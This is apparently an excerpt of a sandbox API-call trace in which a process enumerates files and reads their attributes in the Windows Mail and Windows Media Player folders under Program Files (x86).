	[0055.477] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\MSOERES.dll" (normalized: "c:\\program files (x86)\\windows mail\\msoeres.dll"), fInfoLevelId=0x0, lpFileInformation=0x124cb458 | out: lpFileInformation=0x124cb458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e00b0b6, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x9e00b0b6, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x6cf87540, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x2b4a00)) returned 1
	[0055.478] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\WinMail.exe" (normalized: "c:\\program files (x86)\\windows mail\\winmail.exe"), fInfoLevelId=0x0, lpFileInformation=0x124cb4a8 | out: lpFileInformation=0x124cb4a8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8e771d9d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8e771d9d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x796bc150, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x60e00)) returned 1
	[0055.478] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\en-US" (normalized: "c:\\program files (x86)\\windows mail\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x124cb4f8 | out: lpFileInformation=0x124cb4f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229eba17, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0055.479] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Mail\\en-US" (normalized: "c:\\program files (x86)\\windows mail\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.479] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\en-US\\*", lpFindFileData=0x1241597c | out: lpFindFileData=0x1241597c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229eba17, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.479] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229eba17, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.479] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe506d6c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe506d6c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7e800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoeres.dll.mui", cAlternateFileName="")) returned 1
	[0055.479] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd1fd1f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdd1fd1f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe.mui", cAlternateFileName="")) returned 1
	[0055.479] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0055.479] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0055.479] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\en-US\\WinMail.exe.mui" (normalized: "c:\\program files (x86)\\windows mail\\en-us\\winmail.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x124cb5e8 | out: lpFileInformation=0x124cb5e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd1fd1f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdd1fd1f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600)) returned 1
	[0055.479] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\en-US\\msoeres.dll.mui" (normalized: "c:\\program files (x86)\\windows mail\\en-us\\msoeres.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x124cb638 | out: lpFileInformation=0x124cb638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe506d6c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe506d6c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7e800)) returned 1
	[0055.479] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\msoe.dll" (normalized: "c:\\program files (x86)\\windows mail\\msoe.dll"), fInfoLevelId=0x0, lpFileInformation=0x124cb688 | out: lpFileInformation=0x124cb688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3b530d7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3b530d7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3b9f397, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18b800)) returned 1
	[0055.479] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\oeimport.dll" (normalized: "c:\\program files (x86)\\windows mail\\oeimport.dll"), fInfoLevelId=0x0, lpFileInformation=0x124cb6d8 | out: lpFileInformation=0x124cb6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3b9f397, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3b9f397, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3b9f397, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13e00)) returned 1
	[0055.480] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\wab.exe" (normalized: "c:\\program files (x86)\\windows mail\\wab.exe"), fInfoLevelId=0x0, lpFileInformation=0x124cb728 | out: lpFileInformation=0x124cb728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x879b1223, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x879b1223, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87a95a65, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7e000)) returned 1
	[0055.480] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\wabfind.dll" (normalized: "c:\\program files (x86)\\windows mail\\wabfind.dll"), fInfoLevelId=0x0, lpFileInformation=0x124cb778 | out: lpFileInformation=0x124cb778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a77900b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8a77900b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xb04ef6b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8200)) returned 1
	[0055.480] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\wabimp.dll" (normalized: "c:\\program files (x86)\\windows mail\\wabimp.dll"), fInfoLevelId=0x0, lpFileInformation=0x124cb7c8 | out: lpFileInformation=0x124cb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a1aba92, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8a1aba92, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xb05167b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xa400)) returned 1
	[0055.481] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\wabmig.exe" (normalized: "c:\\program files (x86)\\windows mail\\wabmig.exe"), fInfoLevelId=0x0, lpFileInformation=0x124cb818 | out: lpFileInformation=0x124cb818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c2b2af4, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8c2b2af4, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x78aae250, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10000)) returned 1
	[0055.481] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player" (normalized: "c:\\program files (x86)\\windows media player"), fInfoLevelId=0x0, lpFileInformation=0x124cb868 | out: lpFileInformation=0x124cb868*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0055.481] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player" (normalized: "c:\\program files (x86)\\windows media player"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.481] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\*", lpFindFileData=0x124159e0 | out: lpFindFileData=0x124159e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.481] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.481] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21ca67c6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0055.481] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Icons", cAlternateFileName="")) returned 1
	[0055.481] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81351db4, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81351db4, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Renderer", cAlternateFileName="MEDIAR~1")) returned 1
	[0055.481] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5da15071, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x5da15071, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9b03e9f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x25a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpvis.DLL", cAlternateFileName="")) returned 1
	[0055.481] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8012b5d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8012b5d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network Sharing", cAlternateFileName="NETWOR~1")) returned 1
	[0055.481] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3e72dbc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3e72dbc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3e98f1d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1eb600, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup_wm.exe", cAlternateFileName="")) returned 1
	[0055.481] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9b6c2483, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9b6c2483, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Skins", cAlternateFileName="")) returned 1
	[0055.481] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visualizations", cAlternateFileName="VISUAL~1")) returned 1
	[0055.481] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ee51dd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3ee51dd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3f0b33d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x37c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmlaunch.exe", cAlternateFileName="")) returned 1
	[0055.481] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3f0b33d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3f0b33d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3f0b33d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpconfig.exe", cAlternateFileName="")) returned 1
	[0055.481] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb669e146, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb669e146, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb66c42a7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf0000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPDMC.exe", cAlternateFileName="")) returned 1
	[0055.481] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42b8907f, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x42b8907f, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xb19c3730, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPDMCCore.dll", cAlternateFileName="")) returned 1
	[0055.481] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fdc01da, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x4fdc01da, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7a92dc30, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpenc.exe", cAlternateFileName="")) returned 1
	[0055.481] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3f3149e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3f3149e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3f3149e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmplayer.exe", cAlternateFileName="")) returned 1
	[0055.482] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5749e95b, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x5749e95b, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xb19ea830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x20a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPMediaSharing.dll", cAlternateFileName="")) returned 1
	[0055.482] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59c0b4b2, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x59c0b4b2, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xb19ea830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x73400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnssci.dll", cAlternateFileName="")) returned 1
	[0055.482] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4041c528, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x4041c528, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xb1a36320, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPNSSUI.dll", cAlternateFileName="")) returned 1
	[0055.482] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53bc9d99, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x53bc9d99, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7ad31980, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmprph.exe", cAlternateFileName="")) returned 1
	[0055.482] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0055.482] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Icons" (normalized: "c:\\program files (x86)\\windows media player\\icons"), fInfoLevelId=0x0, lpFileInformation=0x124cbea8 | out: lpFileInformation=0x124cbea8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0055.483] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Icons" (normalized: "c:\\program files (x86)\\windows media player\\icons"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.483] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Icons\\*", lpFindFileData=0x1241597c | out: lpFindFileData=0x1241597c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.483] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0055.483] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer" (normalized: "c:\\program files (x86)\\windows media player\\media renderer"), fInfoLevelId=0x0, lpFileInformation=0x124cbef8 | out: lpFileInformation=0x124cbef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81351db4, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81351db4, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0055.483] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer" (normalized: "c:\\program files (x86)\\windows media player\\media renderer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.483] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\*", lpFindFileData=0x1241597c | out: lpFindFileData=0x1241597c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81351db4, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81351db4, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.485] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0055.486] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\dmr_120.jpg"), fInfoLevelId=0x0, lpFileInformation=0x12822198 | out: lpFileInformation=0x12822198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79e0d5d3, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x79e0d5d3, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x550eb3bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xba3)) returned 1
